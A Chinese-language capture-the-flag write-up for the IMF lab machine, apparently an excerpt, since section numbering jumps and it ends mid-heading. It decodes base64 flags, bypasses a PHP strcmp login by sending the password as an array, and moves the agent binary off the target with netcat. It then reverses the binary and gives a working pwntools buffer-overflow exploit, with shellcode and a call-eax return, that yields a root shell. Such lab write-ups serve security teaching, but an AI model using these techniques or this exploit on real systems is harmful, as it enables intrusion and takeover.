IMF

2.1.1 获取 Flag1#

既然靶机开放了80端口，即HTTP服务，那就访问一下吧。

访问网站 http://192.168.197.176，在 contact us 页面查看网页源代码，发现第一个 Flag。

1
<!-- flag1{YWxsdGhlZmlsZXM=} -->

将 Flag1 的内容进行 Base64 解码：

1
echo "YWxsdGhlZmlsZXM=" | base64 -d

结果：allthefiles，因此flag1{allthefiles}。

2.1.2 获取 Flag2#

在首页源代码中发现三个奇怪的 JS 文件名。

1
eVlYUnZjZz09fQ==
2
XUnRhVzVwYzNS
3
ZmxhZzJ7YVcxbVl

关键（这些前缀在CTF中几乎是“条件反射”级别的特征）：

1. flag 的开头 fla 编码后就是 Zmxh
2. 如果编码完整的 flag，结果是 ZmxhZw==
3. 同理，flag{ 编码后固定是 ZmxhZ3s=
4. root 编码后是 cm9vdA==

因此可以将其按顺序拼接后进行 Base64 解码（Zmxh开头的部分放在前面，以==结尾的部分放在后面，剩下的部分放在中间）。

1
echo "ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==" | base64 -d

得到：flag2{aW1mYWRtaW5pc3RyYXRvcg==}

再次解码 Flag2 的内容：

1
echo "aW1mYWRtaW5pc3RyYXRvcg==" | base64 -d

结果：imfadministrator，因此flag2{imfadministrator}。

2.1.3 获取后台路径与 Flag3#

注意： 记住上面的信息收集每一条都是有用的，上面解出来的东西都是比较规律的，有可能是目录之类的。

因此访问路径 /imfadministrator，进入后台登录页面（如果访问allthefiles路径，则发现没有该资源）。查看网页源码，发现提示：“我无法使用 SQL，所以我硬编码了密码。它仍然非常安全”，因此没有SQL注入。 步骤 1：枚举用户名

输入不存在的用户名，页面回显无效的用户名（Invalid username）。因此尝试输入存在的用户名，在 contact.php 页面中有三个用户名：rmichaels、akeith、estone。 逐一测试后确认有效用户名为rmichaels，因为回显变为无效的密码（Invalid password），而不是回显无效的用户名。 步骤 2：PHP 数组绕过登录

注意：这里当然可以暴力破解，因为已经知道了用户名，但是这里有更好的办法，因为根据网页源代码的提示，这个密码的验证是写死在php代码中的，因此可以使用PHP数组绕过登录。

原理： php验证代码可能如下

1
$password = $_POST['password']; // 用户输入
2
if (strcmp($password, $admin_password) == 0) {
3
    // 登录成功！
4
}

php代码可能是用strcmp之类的函数去判断密码。当strcmp的两个字符串参数相等的时候返回结果为0，string类型和array类型相比较，它会出错，但返回的不是“报错并停止”，而是 NULL。又因为在PHP的弱类型比较中，NULL == 0 的结果是 true（真），因此成功绕过。

修改网页源代码，将密码参数 pass 改为数组形式（当然这里也可以使用抓包，然后修改数据包）。 成功登录后获得 Flag3：

1
flag3{Y29udGludWVUT2Ntcw==}

Base64 解码得到：continueTOcms，因此flag3{continueTOcms}。

3.2.1 下载并执行 Agent 程序#

接着查看 /usr/local/bin/agent ，发现是可执行的二进制文件。 因此将 /usr/local/bin/agent 文件下载到攻击机进行分析（可以直接使用蚁剑下载然后拖到kali，也可以使用下面的命令）。

1
# 在靶机上执行
2
nc -lvp 4444 < /usr/local/bin/agent
3

4
# 在攻击机上执行(Kali IP: 192.168.197.10)
5
nc 192.168.197.176 4444 > agent

然后运行agent程序，发现要输入Agent ID。

3.2.2 构造 Exploit#

为了获取Agent ID，同时为了分析agent程序的功能 （检查是否有栈溢出) ，将 agent 文件拖入 IDA 进行逆向分析。查看main函数，发现了Agent ID。

说明：从图中可以发现在fget函数需要输入随机的数字回车，每一次的输入都会出现strncmp(“输入的数字\n”, “48093572”, 8)这行代码，大概意思就是我们输入的数字和48093572进行对比，不正确返回到Invalid Agent ID。

main函数的完整反编译代码如下：

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  char *s2; // [esp+8h] [ebp-20h] BYREF
4
  char s[10]; // [esp+Eh] [ebp-1Ah] BYREF
5
  int v6; // [esp+18h] [ebp-10h]
6
  char v7; // [esp+1Fh] [ebp-9h]
7

8
  setbuf(stdout, 0);
9
  asprintf(&s2, "%i", 48093572);
10
  puts("  ___ __  __ ___ ");
11
  puts(" |_ _|  \\/  | __|  Agent");
12
  puts("  | || |\\/| | _|   Reporting");
13
  puts(" |___|_|  |_|_|    System\n");
14
  printf("\nAgent ID : ");
15
  if ( !fgets(s, 9, stdin) )
16
    return -1;
17
  if ( !strncmp(s, s2, 8u) )
18
  {
19
    do
20
      v7 = getchar();
21
    while ( v7 != 10 && v7 != -1 );
22
    puts("Login Validated ");
23
    v6 = menu();
24
    switch ( v6 )
25
    {
26
      case 1:
27
        extractionpoints();
28
        break;
29
      case 2:
30
        requestextraction();
31
        break;
32
      case 3:
33
        report();
34
        break;
35
      default:
36
        puts("Exiting...");
37
        break;
38
    }
39
    return 0;
40
  }
41
  else
42
  {
43
    puts("Invalid Agent ID ");
44
    return -2;
45
  }
46
}

经检查，extractionpoints()、requestextraction()这两个函数都没有问题，只有report()函数存在栈溢出。

report()函数的完整反编译代码如下：

1
char *report()
2
{
3
  char s[152]; // [esp+4h] [ebp-A4h] BYREF
4
  char *v2; // [esp+9Ch] [ebp-Ch]
5

6
  printf("\nEnter report update: ");
7
  gets(s);
8
  printf("Report: %s\n", s);
9
  puts("Submitted for review.");
10
  v2 = s;
11
  return s;
12
}

计算栈溢出偏移（也就是计算数组s相对返回地址的长度）：

1
s在ebp-0xA4，返回地址在ebp+4，所以溢出偏移=0xA4+4=168

找到栈偏移之后，我们需要将 return 地址修改为 shellcode 地址，这里可以使用 ROPgadget 寻找包含 call eax 的代码段。

eax 俗名累加器,用于保存函数返回值、存计算结果、频繁被用来临时放地址

1
ROPgadget --binary agent | grep "call eax"

我们使用0x8048563这个地址的call eax，所以返回地址也就覆盖为0x8048563。

编写 Python exploit 脚本，连接靶机 7788 端口发送恶意 payload。

1
#coding=utf-8
2
from pwn import *
3
io = remote("192.168.197.176", 7788)
4
shellcode = asm(shellcraft.sh())
5
shell_addr = 0x8048563
6
io.recvuntil(b"Agent ID : ")
7
io.send(b"48093572\n")
8
io.recvuntil(b"Enter selection: ")
9
io.send(b"3\n")
10
io.recv()
11
io.sendline(shellcode + b"A" * (168 - len(shellcode)) + p32(shell_addr))
12
io.interactive()

成功执行后获得 root 权限的反弹 Shell。

注意： exploit 只负责”在 agent 进程里注入代码、弹出一个 shell”；能不能是 root，取决于 agent 进程是不是 root 跑的。 这个靶场 agent 恰好以 root 运行，所以注入 shell 后直接就是 root，所以是”服务本来就以 root 跑”给了我们提权，不是溢出代码本身有 root 魔法。

获取 root 权限后，在 /root 目录下找到最终的 Flag6。 解码后得到flag6{Gh0stProt0c0ls}。

作者留下的小彩蛋：